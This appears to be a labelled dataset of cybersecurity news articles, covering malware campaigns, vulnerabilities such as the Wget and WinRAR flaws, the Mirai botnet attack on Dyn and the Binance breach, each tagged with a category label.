In the last few of months, several security vendors have reported targeted attacks that distributed malware designed to steal confidential information from people or organizations supporting the Tibetan cause. This tactic recently re-surfaced during our monitoring of Tibetan-leveraging malware campaigns. It came in the form of BKDR_RILER.SVR, a backdoor that arrives infected by PE_SALITY.AC.

A simple Spear Phishing technique was used recently to trick Tibetan activists into opening malicious PDF email attachments, by quoting a legitimate email message sent by FireEye's Lanstein to people who submitted Tibet-related malware samples to the VirusTotal online antivirus scanning service.

According to Trend Micro researcher Ivan Macalintal, by exploiting a vulnerability, the attachment - Next Generation Threats.pdf - drops a malicious JavaScript that in its turn drops a RAT that connects to a IP address located in China. There are a few hints that the people behind the attack are Chinese. The email text was recreated under a key official character set of the People's Republic of China, and in the footer of the decoy PDF file a few Chinese characters can be found.

The said backdoor communicates the following information to the IP address about IM IDs and password, List of drives and files, User account names and passwords.

The social engineering techniques used in these attacks are increasingly sophisticated and the distributed malware is capable of infecting both Windows and Mac OS X computers. On Friday, researchers from antivirus firm Kaspersky Lab reported the discovery of a new Mac OS X backdoor which they named SabPub.

Tibetan activists are on a long hit list uncovered by Trend Micro and dubbed the Luckycat campaign it uses spear-phishing to inject Windows malware, and targets military and other sensitive entities in India and Japan as well as Tibetan activists.

",Malware
Hackers Trick Microsoft Into Signing Netfilter Driver Loaded With Rootkit Malware,https://thehackernews.com/2021/06/hackers-trick-microsoft-into-signing.html,"Microsoft on Friday said it's investigating an incident wherein a driver signed by the company turned out to be a malicious Windows rootkit that was observed communicating with command-and-control (C2) servers located in China.
The driver, called ""Netfilter,"" is said to target gaming environments, specifically in the East Asian country, with the Redmond-based firm noting that ""the actor's goal is to use the driver to spoof their geo-location to cheat the system and play from anywhere.""
""The malware enables them to gain an advantage in games and possibly exploit other players by compromising their accounts through common tools like keyloggers,"" Microsoft Security Response Center (MSRC) said.
It's worth pointing out that Netfilter also refers to a legitimate software package, which enables packet filtering and network address translation for Linux based systems.
Microsoft dubbed the malware ""Retliften,"" alluding to ""netfilter"" but spelled backwards, adding the malicious driver can intercept network traffic, add new root certificates, set a new proxy server, and modify internet settings without a user's consent.
The rogue code signing was spotted by Karsten Hahn, a malware analyst at German cybersecurity company G Data, who shared additional details of the rootkit, including a dropper, which is used to deploy and install Netfilter on the system.
Upon successful installation, the driver was found to establish connection with a C2 server to retrieve configuration information, which offered a number of functionalities such as IP redirection, among other capabilities to receive a root certificate and even self-update the malware.
The oldest sample of Netfilter detected on VirusTotal dates back to March 17, 2021, Hahn said.
Microsoft noted that the actor submitted the driver for certification through the Windows Hardware Compatibility Program (WHCP), and that the drivers were built by a third-party. The company has since suspended the account and reviewed its submissions for additional signs of malware.
The Windows maker also stressed that the techniques employed in the attack occur post-exploitation, which necessitates that the adversary must have had previously gained administrative privileges so as to be able to install the driver during system startup or trick the user into doing it on their behalf.
Additionally, Microsoft said it intends to refine its partner access policies as well as its validation and signing process to enhance protections further.
""The security landscape continues to rapidly evolve as threat actors find new and innovative methods to gain access to environments across a wide range of vectors,"" MSRC said, once again highlighting how the trust associated with signed drivers can be exploited by threat actors to facilitate large-scale software supply chain attacks.

",Malware
CVE-2014-4877: Wget FTP Symlink Attack Vulnerability,https://thehackernews.com/2014/10/cve-2014-4877-wget-ftp-symlink-attack.html,"The open-source Wget application which is most widely used on Linux and Unix systems for retrieving files from the web has found vulnerable to a critical flaw.

GNU Wget is a command-line utility designed to retrieve files from the Web using HTTP, HTTPS, and FTP, the most widely used Internet protocols. Wget can be easily installed on any Unix-like system and has been ported to many environments, including Microsoft Windows, Mac OS X, OpenVMS, MorphOS and AmigaOS.

When a recursive directory fetch over FTP server as the target, it would let an attacker ""create arbitrary files, directories or symbolic links"" due to a symlink flaw.

IMPACT OF SYMLINK ATTACK
""It was found that wget was susceptible to a symlink attack which could create arbitrary files, directories or symbolic links and set their permissions when retrieving a directory recursively through FTP,"" developer Vasyl Kaigorodov wrote in a Red Hat Bugzilla comment.
A remote unauthenticated malicious FTP server connected to the victim via wget would allow attackers to do anything they wanted. Wget could download and create or overwrite existing files within the context of the user running wget.

The vulnerability was first reported to the GNU Wget project by HD Moore, chief research officer at Rapid7. and is publicly identified as CVE-2014-4877. The flaw is considered critical since wget is present on nearly every Linux server in the world, and is installable (although not by default) on OS X machines as well, so needs a patch as soon as possible.

PATCH AVAILABLE
""This flaw can lead to remote code execution through system-level vectors such as cron and user-level vectors such as bash profile files and SSH authorized_keys,"" Moore wrote.
The vulnerability has now been fixed by the Wget project in wget 1.16, which blocks the default setting that allowed the setting of local symlinks.
""Upgrade to wget version 1.16 or a package that has backported the CVE-2014-4877 patch,"" Moore said.
WORKAROUND AVAILABLE EXPLOIT
""This issue can be mitigated by ensuring that all invocations of wget in the mirror mode also specify --retr-symlinks command line option,"" wrote Tomas Hoger on the Bugzilla report. ""Doing so is equivalent to applying the upstream commit linked in comment 14, which changes the default for the retr-symlinks options from off/no to on/yes, preventing creation of symbolic links locally.""
""In addition to changing arguments in all scripts or programs that invoke wget, it is possible to enabled[sic] retr-symlinks option via wget configuration file - either global /etc/wgetrc, or user specific ~/.wgetrc - by adding the line: retr-symlinks=on""
An exploit for the vulnerability is now available on the open-source Metasploit penetration testing Website, so that security researchers could test the bug. You can download the exploit from here.

",Vulnerability
First Ever Windows Malware that can hack your Android Mobile,https://thehackernews.com/2014/01/first-ever-windows-malware-that-can_23.html,"Hey Android users! I am quite sure that you must be syncing your Smartphone with your PCs for transferring files and generating backup of your device.

If your system is running a windows operating system, then it's a bad news for you. Researchers have discovered a new piece of windows malware that attempts to install mobile banking malware on Android devices while syncing.

Last year in the month of February, Kaspersky Lab revealed an Android malware that could infect your computer when connected to Smartphone or tablets.
Recently, Researchers at Symantec antivirus firm discovered another interesting windows malware called 'Trojan.Droidpak', that drops a malicious DLL in the computer system and then downloads a configuration file from the following remote server:
https://xia2.dy[REMOVED]s-web.com/iconfig.txt
The Windows Trojan then parses this configuration file and download a malicious APK (an Android application) from the following location on the infected computer.
%Windir%\CrainingApkConfig\AV-cdk.apk
To communicate with the mobile device a command line tool Android Debug Bridge (ADB) is required, that allows the malware to execute commands on Android devices connected to the infected computer. ADB is a legitimate tool and part of the official Android software development kit (SDK).

In the next step, the trojan downloads all the necessary tools including Android Debug Bridge and the moment you connect an android device having USB debugging Mode enabled, it initiates the installation process and repeats it until it ensure that the connected device has been infected and install an app that will appear as a fake Google App Store.
Such Windows Malware is first of its own kind, since attackers prefer to use the social engineering techniques to spread their fake malicious apps hosted on third-party app stores. The installed malware dubbed as ""Android.Fakebank.B"", able to intercept victim's SMS messages and then send them to the attacker's server located at:
https://www.slmoney.co.kr[REMOVED]
Anyway Relax, if you are not a Korean citizen, because the malicious APK actually looks for certain Korean online banking applications on the compromised device.

If you want to protect your Mobile and system from such Malware attack, Please consider a few points while connecting to a windows based computer:
Turn off USB debugging on your Android device, when you are not using it
Avoid connecting your droid with public computers
Only Install reputable security software
Keep your System, Softwares and Antivirus up-to-date.
Stay Safe!

",Malware
Rule 41 — FBI Gets Expanded Power to Hack any Computer in the World,https://thehackernews.com/2016/11/fbi-rule-41-hacking.html,"Hacking multiple computers across the world just got easier for the United States intelligence and law enforcement agencies from today onwards.

The changes introduced to the Rule 41 of the Federal Rules of Criminal Procedure by the United States Department of Justice came into effect on Thursday, after an effort to block the changes failed on Wednesday.

The change grants the FBI much greater powers to hack into multiple computers within the country, and perhaps anywhere in the world, with just a single warrant authorized by any US judge (even magistrate judges). Usually, magistrate judges only issue warrants for cases within their jurisdiction.

That's the same the FBI did in its 2015 investigation into child pornography site Playpen, in which the agency hacked into some 8,700 computers across 120 different countries.

The Supreme Court approved the changes to Rule 41 in April, allowing any U.S. judge to issue search warrants that give the FBI and law enforcement agencies authority to remotely hack computers in any jurisdiction, or even outside the United States.

Democratic Senator Ron Wyden attempted three times to block changes to Rule 41 that potentially risks people using Tor, a VPN, or some other anonymizing software to hide their whereabouts, but the efforts were blocked by Republican Senator John Cornyn of Texas.

The rule change should take effect on 1st December, today, barring surprises.

On the one hand, privacy advocates and legal experts have described the rule change as the extensive expansion of extraterritorial surveillance power that will allow agencies like the FBI to carry out international hacking operations with a lot less of a hassle.

On the other hand, the DOJ argued that the changes to the rule will help investigate modern internet criminals, allowing investigators access computers whose locations are ""concealed through technological means,"" like the Tor anonymity network or VPNs (Virtual Private Networks), and devices used in botnets that have become powerful cyber weapons.

Assistant Attorney General Leslie Caldwell highlighted these concerns in a blog post published last week, saying if a criminal suspect is using Tor or VPN to hide its real location, it becomes tough for investigators to know his/her current location.
""So in those cases, the Rules do not clearly identify which court the investigators should bring their warrant application to,"" Caldwell said.
But what would happen if the FBI hacks the botnet victims, rather than the perpetrators? Or what if the government abuses this power to target nation states?

In a speech, Wyden said that the changes to Rule 41 amounted to ""one of the biggest mistakes in surveillance policy in years,"" giving federal investigators ""unprecedented authority to hack into Americans' personal phones, computers, and other devices,"" Reuters reports.

Other critics worry that the changes to Rule 41 would give the FBI unfettered ability to hack innocent users whose electronic devices have been infected with botnet malware without their knowledge, or anyone who keeps their identities private online.

To this concern, Caldwell argued that investigators accessing the devices of botnet victims ""would, typically, be done only to investigate the extent of the botnet,"" or in order to ""obtain information necessary to liberate victims' computers from the botnet.""

Caldwell further argued that the rule change would not allow the FBI to conduct ""Mass Hacking;"" in fact, failing to implement the rule change ""would make it more difficult for law enforcement to combat mass hacking by actual criminals.""

",Malware
Secure Messaging App 'Confide' Used by White House Staffers Found Vulnerable,https://thehackernews.com/2017/03/confide-secure-messenger.html,"The secure messaging app used by staffers in the White House and on Capitol Hill is not as secure as the company claims.

Confide, the secure messaging app reportedly employed by President Donald Trump's aides to speak to each other in secret, promises ""military-grade end-to-end encryption"" to its users and claims that nobody can intercept and read chats that disappear after they are read.

However, two separate research have raised a red flag about the claims made by the company.

Security researchers at Seattle-based IOActive discovered multiple critical vulnerabilities in Confide after a recent audit of the version 1.4.2 of the app for Windows, Mac OS X, and Android.

Confide Flaws Allow Altering of Secret Messages

The critical flaws allowed attackers to:

Impersonate friendly contacts by hijacking an account session or guessing a password, as the app failed to prevent brute-force attacks on account passwords.
Spy on contact details of Confide users, including real names, email addresses, and phone numbers.
Intercept a conversation and decrypt messages. Since the app's notification system didn't require any valid SSL server certificate to communicate, a man-in-the-middle attacker can potentially grab messages intended for a legitimate recipient.
Alter the contents of a message or attachment in transit without first decrypting it.
Send malformed messages that can crash, slow, or otherwise disrupt the application.

Exploiting the weaknesses allowed the researchers to gain access to more than 7,000 account records created over the span of two days (between February 22 and 24), out of a database containing between 800,000 and 1 Million records.

Flaw Exposed Details of a Trump Associate and Several DHS Employees

Out of just that 2-day sample, the researchers were even able to find a Donald Trump associate and several employees from the Department of Homeland Security (DHS) who downloaded the Confide app.

IOActive researchers Mike Davis, Ryan O'Horo, and Nick Achatz responsibly disclosed a total 11 separate issues in Confide to the app's developers, who responded immediately by patching the app.

In addition to this, researchers from Quarkslab also showed off Confide exploits Wednesday after analyzing the app's code.

The researchers discovered a series of design vulnerabilities in the Confide for iOS app, which could allow the company to read user messages, adding that the app didn't notify users when encryption keys were changed.

Even, The Company Can Read Your Messages

According to the researchers, ""Confide server can read your messages by performing a man-in-the-middle attack,"" and other security features of the app, such as message deletion and screenshot prevention, can also be defeated.

""The end-to-end encryption used in Confide is far from reaching state of the art,"" the researchers said. ""Building a secure instant messaging app is not easy, but when claiming it, some strong mechanisms should really be enforced since the beginning.""

Quarkslab researchers said the company server could generate its own key pair, meaning that the company has the ability to transmit the public key to a client when requesting the public key of a recipient.

""This client then unknowingly encrypts a message that can be decrypted by the server,"" the researchers added. ""Finally, when the server sends the message to the recipient, it is able to re-encrypt the message with its own key for the actual recipient.""

In response to Quarkslab's findings, Confide co-founder and president Jon Brod said:

""The researchers intentionally undermined the security of their own system to bypass several layers of Confide's protection, including application signatures, code obfuscation, and certificate pinning. The attack that they claim to be demonstrating does not apply to legitimate users of Confide, who are benefiting from multiple security protections that we have put in place. Undermining your own security or taking complete control of a device makes the entire device vulnerable, not just the Confide app.""

Confide has rolled out an updated version of its app which includes fixes for the critical issues, and assured its customers that there wasn't any incident of these flaws being exploited by any other party.

Confide is one of those apps which, unlike other secure messaging apps, keeps its code private and until this time, offered little or no detail about the encryption protocols used in the app.

For more details about the vulnerabilities in Confide, you can head on to IOActive's advisory and Quarkslab's Blog.

",Vulnerability
Vulnerability found in Apple's iOS can hide malicious code inside apps,https://thehackernews.com/2013/08/vulnerability-found-in-apples-ios-can.html,"A Georgia Tech researcher has found a weakness in Apple's iOS mobile platform that could let hackers to hide malicious code inside apps and can be surreptitiously planted on the Apple App Store.

Researchers team created a proof-of-concept attack that was published in the Apple App Store and used to remotely launch attacks on a controlled batch of devices, enabling them to post unauthorized tweets, take photos and even go after other apps.
""Our research shows that despite running inside the iOS sandbox, a Jekyll-based app can successfully perform many malicious tasks, such as posting tweets, taking photos, sending email and SMS, and even attacking other apps all without the user's knowledge.""

Using a BeagleBoard, team created a USB malicious charger called Mactans that can install apps without user knowledge within a minute of being plugged in.

In one demonstration, the attacker was able to hide the iPhone Facebook application and install a malicious copy in its place. The malware executed its task, then launched the legitimate hidden copy of Facebook, leaving the user none the wiser.

Soon after the researchers reported the bug to Apple and they are fixing that flaw in iOS 7, that notifies users when they plug their mobile device into any peripheral that attempts to establish a data connection, and is working on ways to address the weaknesses revealed through Jekyll.

",Malware
Patched WinRAR Bug Still Under Active Attack—Thanks to No Auto-Updates,https://thehackernews.com/2019/03/winrar-hacking-malware.html,"Various cyber criminal groups and individual hackers are still exploiting a recently patched critical code execution vulnerability in WinRAR, a popular Windows file compression application with 500 million users worldwide.

Why? Because the WinRAR software doesn't have an auto-update feature, which, unfortunately, leaves millions of its users vulnerable to cyber attacks.

The critical vulnerability (CVE-2018-20250) that was patched late last month by the WinRAR team with the release of WinRAR version 5.70 beta 1 impacts all prior versions of WinRAR released over the past 19 years.

For those unaware, the vulnerability is ""Absolute Path Traversal"" bug that resides in the old third-party library UNACEV2.DLL of WinRAR and allows attackers to extract a compressed executable file from the ACE archive to one of the Windows Startup folders, where the malicious file would automatically run on the next reboot.

Therefore, to successfully exploit this vulnerability and take full control over the targeted computers, all an attacker needs to do is just convincing users into opening a maliciously-crafted compressed archive file using WinRAR.
Immediately after the details and proof-of-concept (PoC) exploit code went public, malicious attackers started exploiting the vulnerability in a malspam email campaign to install malware on users' computers running the vulnerable version of the software.

Now, security researchers from McAfee reported that they identified more than ""100 unique exploits and counting"" in the first week since the vulnerability was publicly disclosed, with most of the initial targets residing in the United States.

One recent campaign spotted by the researchers piggybacks on a bootlegged copy of an Ariana Grande's hit album, which is currently being detected as malware by only 11 security products, whereas 53 antivirus products fail to alert their users at the time of writing.

The malicious RAR file (Ariana_Grande-thank_u,_next(2019)_[320].rar) detected by McAfee extracts a list of harmless MP3 files to the victim's download folder but also drops a malicious EXE file to the startup folder, which has been designed to infect the targeted computer with malware.

""When a vulnerable version of WinRAR is used to extract the contents of this archive, a malicious payload is created in the Startup folder behind the scenes,"" the researchers explain.

""User Access Control (UAC) is bypassed, so no alert is displayed to the user. The next time the system restarts, the malware is run.""

Unfortunately, such campaigns are still ongoing, and the best way to protect yourself from such attacks is to update your system by installing the latest version of the WinRAR software as soon as possible and avoid opening files received from unknown sources.

",Vulnerability
"uTorrent & BitTorrent Sites Hacked, Spread Security Shield Malware",https://thehackernews.com/2011/09/utorrent-bittorrent-sites-hacked-spread.html,"uTorrent & BitTorrent Sites Hacked, Spread Security Shield Malware

Attackers hijacked two popular Torrent websites ""bittorrent.com and utorrent.com"" and tampered with their download mechanisms, causing visitors trying to obtain file-sharing software to instead receive malware. The site reported on its blog that the attack had occurred at around 04:20 Pacific Daylight Time (11:20 GMT) on Tuesday. Initially, the incursion was also thought to have affected the servers of the main BitTorrent site, but further investigation revealed this site had been unaffected by the attack.

Once installed, Security Shield delivers false reports that a computer is infected with multiple pieces of malware and prompts the user for payment before claiming to disinfect the machine. The attack affected only users who downloaded and installed software from bittorrent.com and utorrent.com during the hour-and-fifty-minute window that the sites were compromised. Those who installed software previously are unaffected.

""We have completed preliminary testing of the malware. Upon installation, a program called 'Security Shield"" launches and pops up warnings that a virus has been detected. It then prompts a user for payment to remove the virus. "" experts write on the blog.

It is very important to once more note that infected are only users who have downloaded the software between 4:20 a.m. and 6:10 a.m. Pacific time. If you have previously downloaded it - you can rest assured your software is clean.

",Malware
Cyber attack hits Istanbul Airport passport control system,https://thehackernews.com/2013/07/Istanbul-airport-cyber-attack-virus.html,"The passport control system at Istanbul Ataturk Airport International departure terminal was under cyber attack on Friday, while another airport in the Turkish largest city was also affected.

Passengers stood in lines for hours and plane departures were delayed, because cyberattack shutdown passport control systems at two facilities. Later Authorities has restored the systems.

Few local media said that the passport control system at the Sabiha Gokcen International Airport in Istanbul also broke down due to the malfunction of the Istanbul provincial security directorate's Polnet data system.

They believe that systems were infected using some malwares, But Authorities also investigating if the malware yielded user details from the infected machines or not.

No claim of responsibility or blame was attributed to the alleged cyberattack. However, this is another malware attacks been reported, targeting vital infrastructure so far. Cybersecurity has emerged as an emerging threat to national security in the digital age.

",Cyber_Attack
Human Rights organisation website Serves Gh0st RAT Trojan,https://thehackernews.com/2012/05/human-rights-organisation-website.html,"Human Rights organisation website Serves Gh0st RAT Trojan

According to the company's Security Labs blog, Amnesty International's United Kingdom website was compromised and hosting the potent Gh0st RAT Trojan earlier this week. Malicious Java code was planted on the site in a bid to push the Gh0st RAT Trojan onto vulnerable Windows machines. If successful, the attack plants malware onto machines that is capable of extracting the user's files, email, passwords and other sensitive personal information.

The vulnerability for the infection stemmed from a popular Java exploit, CVE-2012-050. Hackers exploited that hole and used it to inject the Amnesty International site's script with malicious code. The Java hole was the same used by Flashback, the much buzzed-about Mac OS X Trojan in recent months.

The exploit code used in this attack appears to have been copied from Metasploit, an open source penetration testing framework popular among security professionals, Giuliani said.

The injected web code was removed after Websense alerted Amnesty to the issue.The attack bears all the hallmarks of a series of attacks that appear to be targeting pro-Tibet organisations and sympathisers, most likely by a group connected to China.

The Gh0st Trojan has been used by suspected Chinese hackers in several advanced persistent threat (APT) style attacks, most notably the 'Nitro' attacks against energy firms in 2011. Chinese involvement in the Amnesty International attack is suspected but unproven.

Websense detected over 100 other websites infected with the same malicious code as Amnesty International's U.K. website during the same time period, Carl Leonard, senior manager of Websense Security Labs, said.

",Malware
(Unpatched) Adobe Flash Player Zero-Day Exploit Spotted in the Wild,https://thehackernews.com/2018/02/flash-zero-day-exploit.html,"Another reason to uninstall Adobe Flash Player—a new zero-day Flash Player exploit has reportedly been spotted in the wild by North Korean hackers.

South Korea's Computer Emergency Response Team (KR-CERT) issued an alert Wednesday for a new Flash Player zero-day vulnerability that's being actively exploited in the wild by North Korean hackers to target Windows users in South Korea.

Simon Choi of South Korea-based cybersecurity firm Hauri first reported the campaign on Twitter, saying the North Korean hackers have been using the Flash zero-day against South Koreans since mid-November 2017.

Although Choi did not share any malware sample or details about the vulnerability, the researcher said the attacks using the new Flash zero-day is aimed at South Korean individuals who focus on researching North Korea.

Adobe also released an advisory on Wednesday, which said the zero-day is exploiting a critical 'use-after-free' vulnerability (CVE-2018-4878) in its Flash media software that leads to remote code execution.
The critical vulnerability affects Adobe Flash Player version 28.0.0.137 and earlier versions for:
Desktop Runtime (Win/Mac/Linux)
Google Chrome (Win/Mac/Linux/Chrome OS)
Microsoft Edge and Internet Explorer 11 (Win 10 & 8.1)

""Adobe is aware of a report that an exploit for CVE-2018-4878 exists in the wild, and is being used in limited, targeted attacks against Windows users,"" the advisory said. ""These attacks leverage Office documents with embedded malicious Flash content distributed via email. Adobe will address this vulnerability in a release planned for the week of February 5.""

To exploit the vulnerability, all an attacker need to do is trick victims into opening Microsoft Office documents, web pages, or spam messages that contain a maliciously crafted Adobe Flash file.

The vulnerability can be leveraged by hackers to take control of an affected computer.

Choi also posted a screenshot to show that the Flash Player zero-day exploit has been delivered via malicious Microsoft Excel files.

Adobe said in its advisory that the company has planned to address this vulnerability in a ""release planned for the week of February 5,"" through KR-CERT advises users to disable or completely remove the buggy software.

",Vulnerability
"Friday's Massive DDoS Attack Came from Just 100,000 Hacked IoT Devices",https://thehackernews.com/2016/10/ddos-attack-mirai-iot.html,"Guess how many devices participated in last Friday's massive DDoS attack against DNS provider Dyn that caused vast internet outage?

Just 100,000 devices.

I did not miss any zeros.

Dyn disclosed on Wednesday that a botnet of an estimated 100,000 internet-connected devices was hijacked to flood its systems with unwanted requests and close down the Internet for millions of users.

Dyn executive vice president Scott Hilton has issued a statement, saying all compromised devices have been infected with a notorious Mirai malware that has the ability to take over cameras, DVRs, and routers.
""We're still working on analyzing the data but the estimate at the time of this report is up to 100,000 malicious endpoints,"" Hilton said. ""We are able to confirm that a significant volume of attack traffic originated from Mirai-based botnets.""
Mirai malware scans for Internet of Things (IoT) devices that are still using their default passwords and then enslaves those devices into a botnet, which is then used to launch DDoS attacks.

A day after the attack, Dyn confirmed that a botnet of Mirai malware-infected devices had participated in its Friday's Distributed Denial of Service attacks.

However, after an initial analysis of the junk traffic, just yesterday, the company revealed that it had identified an estimated 100,000 sources of malicious DDoS traffic, all originating from IoT devices compromised by the Mirai malware.

Earlier the company believed that approximately ""tens of millions"" of IP addresses were responsible for the massive attack against its crucial systems, but the actual number came out to be much much less, leaving all of us wondering, as:

How did the Attack Succeed to this Massive Level?

To this, Hilton said that Domain Name System protocol itself has the ability to amplify requests from legitimate sources.
""For example, the impact of the attack generated a storm of legitimate retry activity as recursive servers attempted to refresh their caches, creating 10-20X normal traffic volume across a large number of IP addresses,"" Hilton said. ""When DNS traffic congestion occurs, legitimate retries can further contribute to traffic volume.""
""It appears the malicious attacks were sourced from at least one botnet, with the retry storm providing a false indicator of a significantly larger set of endpoints than we now know it to be.""
Friday's cyber attack overwhelmed Dyn's central role in routing and managing Internet traffic, rendering hundreds of sites and services, including Twitter, GitHub, Amazon, Netflix, Pinterest, Etsy, Reddit, PayPal, and AirBnb, inaccessible to Millions of people worldwide for several hours.

Dyn did not disclose the actual size of the attack, but it has been speculated that the DDoS attack could be much bigger than the one that hit French Internet service and hosting provider OVH that peaked at 1.1 Tbps, which is the largest DDoS attack known to date.

According to the company, this attack has opened up an important debate about Internet security and volatility.
""Not only has it highlighted vulnerabilities in the security of 'Internet of Things' (IOT) devices that need to be addressed, but it has also sparked further dialogue in the Internet infrastructure community about the future of the Internet,"" Hilton said.

Next DDoS Attack could reach Tens Of Terabits-Per-Second

If the IoT security is not taken seriously, the future DDoS attack could reach tens of terabits-per-second, as estimated by network security firm Corero.

The DDoS threat landscape is skyrocketing and could reach tens of terabits-per-second in size, following a discovery of a new zero-day attack vector that has the ability to amplify DDoS attacks by as much as 55x, Corero warned in a blog post published Tuesday.

According to the security firm, this new attack vector uses the Lightweight Directory Access Protocol (LDAP), which if combined with an IoT botnet, could break records in DDoS power.

Dave Larson of Corero explains:

""LDAP is not the first, and will not be the last, protocol or service to be exploited in this fashion. Novel amplification attacks like this occur because there are so many open services on the Internet that will respond to spoofed record queries. However, a lot of these attacks could be eased by proper service provider hygiene, by correctly identifying spoofed IP addresses before these requests are admitted to the network.""

You can read more on Corero's official website.

How to Protect your Smart Device from being Hacked

1. Change Default Passwords of your connected devices: If you have got any internet-connected device at home or work, change your credentials if it still uses default ones. Keep in mind; Mirai malware scans for default settings.

2. Disable Universal Plug-and-Play (UPnP): UPnP comes enabled by default in every IoT device, which creates a hole in your router's security, allowing malware to infiltrate any part of your local network.

Check for ""Universal Plug and Play"" features and turn them OFF.

3. Disable Remote Management through Telnet: Go into your router's settings and disable remote management protocol, specifically through Telnet, as this is a protocol used for allowing one computer to control another from a remote location. It has also been used in previous Mirai attacks.

4. Check for Software Updates and Patches: last but not the least, always keep your connected devices and routers up-to-date with the latest vendor firmware.

Check if your IoT device is vulnerable to Mirai malware
There is an online tool called Bullguard's IoT Scanner that can help you check if any IoT device over your network is vulnerable to Mirai malware.

If it detects any, contact the device's manufacturer or lookout for a solution to patch those vulnerable gaps.

The tool makes use of the vulnerability scanning service Shodan for finding unprotected computers and webcams on your home network that are exposed to the public and potentially accessible to hackers.

",Malware
New Ransom malware infecting computers,https://thehackernews.com/2012/09/new-ransom-malware-infecting-computers.html,"The Metropolitan Police have issued an urgent warning about a new ransom malware that is in circulation. Ransomware (also referred to in some cases as cryptoviruses, cryptotrojans or cryptoworms) comprises a class of malware which restricts access to the computer system that it infects, and demands a ransom paid to the creator of the malware in order for the restriction to be removed.

""The ""malware"" infects personal computers after users have accessed certain websites. *(It should be noted that there are several similar designs currently in circulation)""

Ransomware typically propagates like a typical computer worm, entering a system through, for example, a downloaded file or a vulnerability in a network service. The program will then run a payload which will begin to encrypt personal files on the hard drive. More sophisticated ransomware may hybrid-encrypt the victim's plaintext with a random symmetric key and a fixed public key.

The malware author is the only party that knows the needed private decryption key. Some ransomware payloads do not use encryption. In these cases, the payload is simply an application designed to effectively restrict interaction with the system, typically by overriding explorer.exe in the Windows registry as the default shell, or even modify the master boot record, not allowing the operating system to start at all until it is repaired.

We request readers to share this article with your friends on all social networks to alert them that this is a fraud and users are advised not to pay out any monies or hand out any bank details.

Police advice - ""We would advise anyone who has been deceived by such a message and parted with any money to report the offence to their local police by dialling ""101"" or your local police. Virus/Malware infections where no money has been lost can be logged at www.actionfraud.org.uk/report_fraud.""

Modern ransomware attacks were initially popular within Russia, but in recent years there have been an increasing number of ransomware attacks targeted towards other countries, such as Australia, Germany, and the United States among others.

In order to reduce the chances of being infected by this or similar malware we strongly recommend to use Some Best Antiviruses and never forget to update your software & potential vulnerabilities. Subscribe to The Hacker News Daily free Newsletter for Latest updates.

",Malware
Binance Hacked — Hackers Stole Over $40 Million Worth Of Bitcoin,https://thehackernews.com/2019/05/binance-cryptocurrency-hacked.html,"Binance, one of the largest cryptocurrency exchanges in the world, confirmed today that the company lost nearly $41 million in Bitcoin in what appears to be its largest hack to date.

In a statement, Binance's CEO Changpeng Zhao said the company discovered a ""large scale security breach"" earlier on May 7, as a result of which hackers were able to steal roughly 7000 bitcoins, which worth 40.6 million at the time of writing.

News of the hack comes just hours after Zhao tweeted that Binance has ""to perform some unscheduled server maintenance that will impact deposits and withdrawals for a couple of hours.""

According to the company, malicious attackers used a variety of attack techniques, including phishing and computer viruses, to carry out the intrusion and were able to breach a single BTC hot wallet (a cryptocurrency wallet that's connected to the Internet), which contained about 2% of the company's total BTC holdings, and withdraw stolen Bitcoins in a single transaction.

What's more disturbing is that the company admitted the hackers managed to get their hands on user critical information, such as API keys, two-factor authentication codes, and potentially other information, which is required to log in to a Binance account.

Zao also warned that ""hackers may still control certain user accounts and may use those to influence prices.""

Fortunately, the Binance cold storage—the offline wallets where the majority of funds are kept—remain secure. Also, Internet-connected individual user wallets were not directly affected.

""All of our other wallets are secure and unharmed,"" the company said in a statement. ""The hackers had the patience to wait, and execute well-orchestrated actions through multiple seemingly independent accounts at the most opportune time.""

""The transaction is structured in a way that passed our existing security checks. It was unfortunate that we were not able to block this withdrawal before it was executed.""

Binance has suspended all deposits and withdrawals on its platform for roughly one week while it thoroughly reviews the security and investigates the incident.

Binance CEO said the company last year set up an internal insurance mechanism, called Secure Asset Fund for Users (SAFU), which will cover the entire amount of the hack and won't impact users.

""To protect the future interests of all users, Binance will create a Secure Asset Fund for Users (SAFU),"" Zhao said. ""Starting from 2018/07/14, we will allocate 10% of all trading fees received into SAFU to offer protection to our users and their funds in extreme cases. This fund will be stored in a separate cold wallet.""

Binance CEO also said he would participate in a previously scheduled Twitter Ask-Me-Anything.
",Data_Breaches
This Malware Can Delete and Replace Your Entire Chrome Browser with a lookalike,https://thehackernews.com/2015/10/malware-chome.html,"Security researchers have uncovered a new piece of Adware that replaces your entire browser with a dangerous copy of Google Chrome, in a way that you will not notice any difference while browsing.

The new adware software, dubbed ""eFast Browser,"" works by installing and running itself in place of Google Chrome

The adware does all kinds of malicious activities that we have seen quite often over the years:
Generates pop-up, coupon, pop-under and other similar ads on your screen
Placing other advertisements into your web pages
Redirects you to malicious websites containing bogus contents
Tracking your movements on the web to help nefarious marketers send more crap your way to generating revenue
Therefore, having eFast Browser installed on your machine may lead to serious privacy issues or even identity theft.

What's Nefariously Intriguing About this Adware?

The thing that makes this Adware different from others is that instead of taking control over your browser, eFast Browser uses a deceiving method of replacing your entire browser with a malicious copy of Chrome.

In a report published Malwarebytes detailed that the nefarious software attempts to delete Chrome and itself takes its place, allowing it to hijack several file associations including HTML, JPG, PDF, and GIF, as well as URLs associations including HTTP, HTTPS, and MAILTO.

The eFast Browser is based on Google's Chromium open-source software, so the browser maintains the look and feel of Google Chrome at first glance, tricking users into believing that they are using the legitimate Chrome browser.

The malicious software program then replaces any Chrome desktop website shortcuts with its own versions, showing a striking design resemblance with window and icons from Chrome.
""The installer for eFast also deletes all the shortcuts to Google Chrome on your taskbar and desktop,"" wrote Malwarebytes, ""most likely hoping to confuse the user with their very similar icons.""

What's more?

The eFast Browser is based on Google's Chromium open-source software, so the browser maintains the look and feel of Google Chrome at first glance, tricking users into believing that they are using the legitimate Chrome browser.

The malicious computer program comes from a company calling itself Clara Labs, who developed a slew of similar browsers under titles such as BoBrowser, Unico, and Tortuga.

How does eFast Browser Install itself in the First Place?

eFast Browser is just another Potentially Unwanted Program (PUP), according to PCrisk, which tries to get itself on your PC by burrowing itself into the free software installers from dubious sources on the web.

It's easier for malicious software to replace your browser than to infect it. This is due to Chrome's security against in-browser malware that cyber criminals are now overwriting the browser completely.

It is relatively easy to avoid installing eFast Browser and, fortunately, also relatively easy to uninstall if you have found it on your computer. You can follow the removal instructions detailed by PCRisk.

",Malware
